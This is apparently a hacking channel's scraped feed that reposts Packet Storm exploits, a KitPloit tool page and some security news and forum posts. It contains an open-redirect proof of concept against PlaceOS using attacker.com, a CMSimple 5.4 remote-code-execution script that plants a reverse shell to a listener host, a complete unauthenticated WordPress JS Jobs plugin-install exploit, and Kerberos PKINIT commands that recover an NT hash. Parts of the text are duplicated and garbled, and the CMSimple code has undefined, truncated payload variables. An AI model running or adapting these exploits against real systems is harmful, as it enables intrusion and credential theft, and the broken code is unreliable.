Exploit Collector
PlaceOS 1.2109.1 Open Redirection

https://2.bp.blogspot.com/-x_QP5QrO-tY/WWlvkxoh72I/AAAAAAAAIQ4/t-2dHNJyeE0-qZNxsCg7sgdho_ipgPgbgCLcBGAs/s1600/h98.png
PlaceOS version 1.2109.1 suffers from an open redirection vulnerability.

MD5 | 6f70e87acde8d9e251e8e05831b475b8

Download
# Exploit Title: PlaceOS 1.2109.1 - Open Redirection
# Date: 29-09-2021
# Exploit Author: Hamza Khedr @ Accenture Austalia AARO Team
# Vendor Homepage: https://place.technology/
# Software Link: https://github.com/PlaceOS
# Version: < 1.29.10
# Tested on: Ubuntu 20.04
# CVE: CVE-2021-41826
#
#
# PoC: "https://office.example.com/auth/logout?continue=//attacker.com"
# "https://office.example.com/auth/logout?continue=.attacker.com"
# "https://office.example.com/auth/logout?continue=:password@attacker.com"
#
#
# Reference: https://github.com/PlaceOS/auth/issues/36
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41826
# https://nvd.nist.gov/vuln/detail/CVE-2021-41826

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Cmsimple 5.4 Remote Code Execution

https://1.bp.blogspot.com/-q1b99IBpI9c/WWlu5sPD0hI/AAAAAAAAIJI/No13BTu40mUIIhRH8r1ULckiDMJCd7zkQCLcBGAs/s1600/h106.png
Cmsimple version 5.4 authenticated remote code execution exploit.

MD5 | 46792c26a9315734cd7d64fb53dadde5

Download
# Exploit Title: Cmsimple 5.4 - Remote Code Execution (RCE) (Authenticated)
# Date: 29.09.2021
# Exploit Author: pussycat0x
# Vendor Homepage: https://www.cmsimple.org/
# Version: 5.4
# Tested on: ubuntu-20.04.1

import argparse
from bs4 import BeautifulSoup
from argparse import ArgumentParser
import requests
parser= ArgumentParser(description="cmsimple ", epilog='cmsimpleRCE.py -url targetdomai.com -u username -p password -ip lhost -lp lport')
rparser = parser.add_argument_group('required argument')
rparser.add_argument('-url','--host', type=str, help='target domain',required=True)
rparser.add_argument('-u' ,'--username', type=str, help='', required=True)
rparser.add_argument('-p','--password',type=str,help='', required=True)
rparser.add_argument('-ip','--lhost',type=str,help='listener ip', required=True)
rparser.add_argument('-lp','--lport', type=str,help='listener port', required=True)
args= parser.parse_args()
#url ='192.168.1.106'
s = requests.Session()

def main():
try:

url =(args.host)
payload = {
'user':args.username,
'passwd':args.password,
'submit': 'Login',
'login':'true',
}
login=s.post(url +'/?Welcome_to_CMSimple_5',data=payload)
if login.status_code == 200:
print('Exploit Completed')
else:
print("Invalid Credential")
cook =(login.cookies.get_dict())
temp = s.get(url +'/?file=template&action=edit', cookies=cook)
soup = BeautifulSoup(temp.text, 'lxml')
csrfToken = soup.find('input',attrs = {'name':'csrf_token'})['value']
#&1'");
rev = """&1'");"""
php =(rev+rev2+'/'+rev3+rev4)
revpayload = {
'cmsimpleDataFileStored':'cmsimpleDataFileStored',
'csrf_token':csrfToken,
'text':php,
'file':'template',
'action':'save',
}
shell = s.post(url +'/',cookies=cook , data=revpayload)
exec = s.get(url+'/')
exit()
except:
pass
main()


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress JS Jobs Manager 1.1.7 Authorization Bypass

https://3.bp.blogspot.com/-cErR-NKa5pU/WWlvUH06dSI/AAAAAAAAINw/w0uVuk51vEgh40coJSJAKFsc2nT9tBwYgCLcBGAs/s1600/h44.png
WordPress JS Jobs Manager plugin version 1.1.7 suffers from an unauthenticated plugin installation and activation vulnerability.

MD5 | 8eca915fb4f15e7023de60a4621b9bca

Download
# Exploit Title: Wordpress Plugin JS Jobs Manager 1.1.7 - Unauthenticated Plugin Install/Activation
# Google Dork: inurl:/wp-content/plugins/js-jobs/
# Date: 22/09/2021
# Exploit Author: spacehen
# Vendor Homepage: https://wordpress.org/plugins/js-jobs/
# Version: <=
# Tested on: Ubuntu 20.04.1

import os.path
from os import path
import json
import requests;
import sys

def print_banner():
print("JS Job Manager <=
print("Author -> space_hen (www.github.com/spacehen)")
def print_usage():
print("Usage: python3 exploit.py [target url] [plugin slug]")
print("Ex: python3 exploit.py https://example.com advanced-uploader")
print("Note: To activate plugin successfully, main plugin file")
print("should match slug, i.e ./plugin-slug/plugin-slug.php")

def vuln_check(uri):
response = requests.get(uri)
raw = response.text

if ("Not Allowed!" in raw):
return True;
else:
return False;

def main():

print_banner()
if(len(sys.argv) != 3):
print_usage();
sys.exit(1);

base = sys.argv[1]
slug = sys.argv[2]

ajax_action = 'jsjobs_ajax'
admin = '/wp-admin/admin-ajax.php';

uri = base + admin + '?action=' + ajax_action ;
check = vuln_check(uri);

if(check == False):
print("(*) Target not vulnerable!");
sys.exit(1)

data = {
"task" : "installPluginFromAjax",
"jsjobsme" : "jsjobs",
"pluginslug" : slug
}
print("Installing plugin...");
response = requests.post(uri, data=data )
print("Activating plugin...");

data = {
"task" : "activatePluginFromAjax",
"jsjobsme" : "jsjobs",
"pluginslug" : slug
}
response = requests.post(uri, data=data )

main();


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Azure Active Directory Brute Forcer

https://3.bp.blogspot.com/-3DxkerR7uq4/WWlu9h9UGfI/AAAAAAAAIJw/dRDCcwrw3XEGYQWUo-AXJEEU7FQ8iTgpACLcBGAs/s1600/h115.png
This code is a proof-of-concept of the recently revealed Azure Active Directory password brute-forcing vulnerability announced by Secureworks.

MD5 | a509698c91d88aa977601bdd44458a39

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

PKINITtools - Tools For Kerberos PKINIT And Relaying To AD CS
http://www.kitploit.com/2021/09/pkinittools-tools-for-kerberos-pkinit.html

___________________________
@hacking_Attack
@Hacking_Video

This repository contains some utilities for playing with PKINIT and certificates.
The tools are built on minikerberos (https://github.com/skelsec/minikerberos/tree/master/minikerberos) and impacket (https://github.com/SecureAuthCorp/impacket). Accompanying blogpost with more context: https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/
Installation
These tools are only compatible with Python 3.5+. Clone the repository from GitHub, install the dependencies and you should be good to go: impacket minikerberos ">git clone https://github.com/dirkjanm/PKINITtools
pip3 install impacket minikerberos Using a virtualenv for this is recommended.
Tools

gettgtpkinit.py
Request a TGT using a PFX file, either as file or as base64 encoded blob, or PEM files (https://www.kitploit.com/search/label/PEM%20files) for cert+key. This uses Kerberos (https://www.kitploit.com/search/label/Kerberos) PKINIT and will output a TGT into the specified ccache. It will also print the AS-REP encryption (https://www.kitploit.com/search/label/Encryption) key which you may need for the getnthash.py tool. Usage example: username in the cert ccache ccache file to store the TGT in optional arguments: -h, --help show this help message and exit -cert-pfx file PFX file -pfx-pass password PFX file password -pfx-base64 BASE64 PFX file as base64 string -cert-pem file Certificate in PEM format -key-pem file Private key file in PEM format -dc-ip DC_IP DC IP or hostname to use as KDC -v, --verbose (PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache 2021-07-27 21:25:24,299 minikerberos INFO Loading certificate and key from file 2021-07-27 21:25:24,316 minikerberos INFO Requesting TGT 2021-07-27 21:25:24,333 minikerberos INFO AS-REP encryption key (you might need this later): 2021-07-27 21:25:24,333 minikerberos INFO 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3 2021-07-27 21:25:24,336 minikerberos INFO Saved TGT to file ">(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py -h
usage: gettgtpkinit.py [-h] [-cert-pfx file] [-pfx-pass password] [-pfx-base64 BASE64] [-cert-pem file] [-key-pem file] [-dc-ip DC_IP] [-v]
domain/username ccache

Requests a TGT using Kerberos PKINIT and either a PEM or PFX based certificate+key

positional arguments:
domain/username Domain and username in the cert
ccache ccache file to store the TGT in

optional arguments:
-h, --help show this help message and exit
-cert-pfx file PFX file
-pfx-pass password PFX file password
-pfx-base64 BASE64 PFX file as base64 string
-cert-pem file Certificate in PEM format
-key-pem file Private key file in PEM format
-dc-ip DC_IP DC IP or hostname to use as KDC
-v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.p y testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache
2021-07-27 21:25:24,299 minikerberos INFO Loading certificate and key from file
2021-07-27 21:25:24,316 minikerberos INFO Requesting TGT
2021-07-27 21:25:24,333 minikerberos INFO AS-REP encryption key (you might need this later):
2021-07-27 21:25:24,333 minikerberos INFO 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
2021-07-27 21:25:24,336 minikerberos INFO Saved TGT to file

getnthash.py
Use Kerberos U2U to submit a TGS request for yourself. This will include with the PAC which in turn contains the NT hash that you can decrypt with the AS-REP key that was used for your specific TGT. It's magic really. This tool requires a TGT resulting from PKINIT to be in your KRB5CCNAME env variable. Usage: (PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py -h

___________________________
@hacking_Attack
@Hacking_Video

Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

usage: getnthash.py [-h] -key KEY [-dc-ip ip address] [-debug] identity

positional arguments:
identity domain/username

optional arguments:
-h, --help show this help message and exit
-key KEY AS REP key from gettgtpkinit.py
-dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
-debug Turn DEBUG output ON

(PKINITtools) user@localhost:~/PKINITtools$ export KRB5CCNAME=s2019dc.ccache
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py testsegment.local/s2019dc\$ -key 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Using TGT from cache
[*] Requesting ticket to se lf with PAC
Recovered NT Hash
fa6b130d73311d1be5495f589f9f4571

gets4uticket.py
Uses Kerberos S4U2Self to request a service ticket that is valid on the host for which you've obtained a certificate. This ticket can then be used to interact with the original host. This only requires a TGT for the machine account of this host. This TGT should be in a ccache file that you specify in the kerberos_connection_url. The only accepted kerberos_connection_url for this example is one containing a ccache file, so for example kerberos+ccache://domain.local\\victimhostname\$:victimhostname.ccache@kdchostname.domain.local. The SPN should be a service name on the host you are impersonating, you can't use this for delegation attacks (since it does not implement S4U2Proxy, there are plenty of tools already for that). Usage: spn the service principal in format /@ Example: cifs/fileserver.test.corp@TEST.corp for a TGS ticket to be used for file access on server "fileserver". IMPORTANT: SERVER'S HOSTNAME MUST BE USED, NOT IP!!! targetuser ccache ccache file to store the TGT ticket in optional arguments: -h, --help show this help message and exit -v, --verbose (PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py kerberos+ccache://testsegment.local\\s2019dc\$:s2019dc.ccache@s2016dc.testsegment.local cifs/s2019dc.testsegment.local@testsegment.local Administrator@testsegment.local out.ccache -v 2021-07-28 10:09:13,687 minikerberos INFO Trying to get SPN with Administrator@testsegment.local for cifs/s2019dc.testsegment.local@testsegment.local 2021-07-28 10:09:13,695 minikerberos INFO Success! 2021-07-28 10:09:13,696 minikerberos INFO Done! ">(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py -h
usage: gets4uticket.py [-h] [-v] kerberos_connection_url spn targetuser ccache

Gets an S4U2self ticket impersonating given user

positional arguments:
kerberos_connection_url
the kerberos target string in the following format kerberos+ccache://domain\user:file.ccache@
spn the service principal in format /@ Example: cifs/fileserver.test.corp@TEST.corp for a
TGS ticket to be used for file access on server "fileserver". IMPORTANT: SERVER'S HOSTNAME MUST BE USED, NOT IP!!!
targetuser
ccache ccache file to store the TGT ticket in

optional arguments:
-h, --help show this help message and exit
-v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python ge ts4uticket.py kerberos+ccache://testsegment.local\\s2019dc\$:s2019dc.ccache@s2016dc.testsegment.local cifs/s2019dc.testsegment.local@testsegment.local Administrator@testsegment.local out.ccache -v
2021-07-28 10:09:13,687 minikerberos INFO Trying to get SPN with Administrator@testsegment.local for cifs/s2019dc.testsegment.local@testsegment.local
2021-07-28 10:09:13,695 minikerberos INFO Success!
2021-07-28 10:09:13,696 minikerberos INFO Done!

License
MIT
Credits

___________________________
@hacking_Attack
@Hacking_Video

SkelSec (https://twitter.com/skelsec) for minikerberos (https://github.com/skelsec/minikerberos/tree/master/minikerberos) Alberto Solino and the team at SecureAuthCorp for impacket (https://github.com/SecureAuthCorp/impacket) Mor Rubin (https://twitter.com/rubin_mor) for their first PKINIT implementation in python as part of AzureADJoinedMachinePTC (https://github.com/morRubin/AzureADJoinedMachinePTC) Benjamin Delpy (https://twitter.com/gentilkiwi) for implementing these things in kekeo (https://github.com/gentilkiwi/kekeo)

Download PKINITtools (https://github.com/dirkjanm/PKINITtools)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
PKINITtools - Tools For Kerberos PKINIT And Relaying To AD CS

https://1.bp.blogspot.com/-XZJu5mQOYn8/YVUG1GfAdcI/AAAAAAAAvTc/nw9sTbmdmP4ogr1zz8TU4yCAFstfLiuggCNcBGAsYHQ/w640-h76/gettgtpkinit.png This repository contains some utilities for playing with PKINIT and certificates.
The tools are built on minikerberos and impacket. Accompanying blogpost with more context: https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/ InstallationThese tools are only compatible with Python 3.5+. Clone the repository from GitHub, install the dependencies and you should be good to go:

impacket minikerberos ">git clone https://github.com/dirkjanm/PKINITtools
pip3 install impacket minikerberos

Using a virtualenv for this is recommended. Toolsgettgtpkinit.pyRequest a TGT using a PFX file, either as file or as base64 encoded blob, or PEM files for cert+key. This uses Kerberos PKINIT and will output a TGT into the specified ccache. It will also print the AS-REP encryption key which you may need for the getnthash.py tool. Usage example:

username in the cert ccache ccache file to store the TGT in optional arguments: -h, --help show this help message and exit -cert-pfx file PFX file -pfx-pass password PFX file password -pfx-base64 BASE64 PFX file as base64 string -cert-pem file Certificate in PEM format -key-pem file Private key file in PEM format -dc-ip DC_IP DC IP or hostname to use as KDC -v, --verbose (PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache 2021-07-27 21:25:24,299 minikerberos INFO Loading certificate and key from file 2021-07-27 21:25:24,316 minikerberos INFO Requesting TGT 2021-07-27 21:25:24,333 minikerberos INFO AS-REP encryption key (you might need this later): 2021-07-27 21:25:24,333 minikerberos INFO 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3 2021-07-27 21:25:24,336 minikerberos INFO Saved TGT to file ">(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py -h
usage: gettgtpkinit.py [-h] [-cert-pfx file] [-pfx-pass password] [-pfx-base64 BASE64] [-cert-pem file] [-key-pem file] [-dc-ip DC_IP] [-v]
domain/username ccache

Requests a TGT using Kerberos PKINIT and either a PEM or PFX based certificate+key

positional arguments:
domain/username Domain and username in the cert
ccache ccache file to store the TGT in

optional arguments:
-h, --help show this help message and exit
-cert-pfx file PFX file
-pfx-pass password PFX file password
-pfx-base64 BASE64 PFX file as base64 string
-cert-pem file Certificate in PEM format
-key-pem file Private key file in PEM format
-dc-ip DC_IP DC IP or hostname to use as KDC
-v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.p y testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache
2021-07-27 21:25:24,299 minikerberos INFO Loading certificate and key from file
2021-07-27 21:25:24,316 minikerberos INFO Requesting TGT
2021-07-27 21:25:24,333 minikerberos INFO AS-REP encryption key (you might need this later):
2021-07-27 21:25:24,333 minikerberos INFO 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
2021-07-27 21:25:24,336 minikerberos INFO Saved TGT to file getnthash.pyUse Kerberos U2U to submit a TGS request for yourself. This will include with the PAC which in turn contains the NT hash that you can decrypt with the AS-REP key that was used for your specific TGT. It's magic really. This tool requires a TGT resulting from PKINIT to be in your KRB5CCNAMEenv variable.[...]

___________________________
@hacking_Attack
@Hacking_Video

Usage: (PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py -h
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

usage: getnthash.py [-h] -key KEY [-dc-ip ip address] [-debug] identity

positional arguments:
identity domain/username

optional arguments:
-h, --help show this help message and exit
-key KEY AS REP key from gettgtpkinit.py
-dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
-debug Turn DEBUG output ON

(PKINITtools) user@localhost:~/PKINITtools$ export KRB5CCNAME=s2019dc.ccache
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py testsegment.local/s2019dc\$ -key 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Using TGT from cache
[*] Requesting ticket to se lf with PAC
Recovered NT Hash
fa6b130d73311d1be5495f589f9f4571 gets4uticket.pyUses Kerberos S4U2Self to request a service ticket that is valid on the host for which you've obtained a certificate. This ticket can then be used to interact with the original host. This only requires a TGT for the machine account of this host. This TGT should be in a ccache file that you specify in the kerberos_connection_url. The only accepted kerberos_connection_urlfor this example is one containing a ccache file, so for example kerberos+ccache://domain.local\\victimhostname\$:victimhostname.ccache@kdchostname.domain.local. The SPN should be a service name on the host you are impersonating, you can't use this for delegation attacks (since it does not implement S4U2Proxy, there are plenty of tools already for that). Usage: (PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py -h
usage: gets4uticket.py [-h] [-v] kerberos_connection_url spn targetuser ccache

Gets an S4U2self ticket impersonating given user

positional arguments:
kerberos_connection_url
the kerberos target string in the following format kerberos+ccache://domain\user:file.ccache@LicenseMIT Credits* SkelSec for minikerberos
* Alberto Solino and the team at SecureAuthCorp for impacket
* Mor Rubin for their first PKINIT implementation in python as part of AzureADJoinedMachinePTC
* Benjamin Delpy for implementing these things in kekeo Download PKINITtools

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
FireEye Products & McAfee Enterprise Merge to Create $2B Entity

The combined company will have 5,000 employees, more than 40,000 customers, and nearly $2 billion in revenue, officials report.

Dark Reading: Attacks/Breaches
10 Recent Examples of How Insider Threats Can Cause Big Breaches and Damage

Theft of intellectual property, sabotage, exposure of sensitive data and more were caused by malicious behavior and negligence at these organizations

Dark Reading: Attacks/Breaches
Akamai Acquires Guardicore in $600M Deal

In other acquisition news today, Arctic Wolf announced it will acquire Habitu8, a managed security awareness platform, for an undisclosed amount.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Are there any Free alternatives to Dehashed.com?

I'm a college student, studying for my CompSci degree and I'm also learning some Networking and hacking during free time. I can't afford a Dehashed.com subscription coz it's pretty expensive in my currency. I was wondering if there were any alternatives that let me search up Data from Breaches/Leaks.

submitted by /u/Myth2156
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Penetration Testing Tool Project
https://www.reddit.com/r/Pentesting/comments/pyv98z/penetration_testing_tool_project/

Hey guys. Hope u all well. I just want to show you a project I am working on. It's a nice tool for network administrators and pentesters. Please feel free to leave feedback. Kudos https://github.com/medpaf/medsec submitted by /u/Ok_Demand_682 (https://www.reddit.com/user/Ok_Demand_682)
[link] (https://www.reddit.com/r/Pentesting/comments/pyv98z/penetration_testing_tool_project/) [comments] (https://www.reddit.com/r/Pentesting/comments/pyv98z/penetration_testing_tool_project/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
O que é um BAS? ( Breach and Attack Simulation )

https://cdn-images-1.medium.com/max/830/0*2SqRTvDjK7MbvzvS.jpg
Um software BAS é um forma de imitar agentes APT, simulando ataques de ameaças reais para realizar um teste de defesa nos ativos sem…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video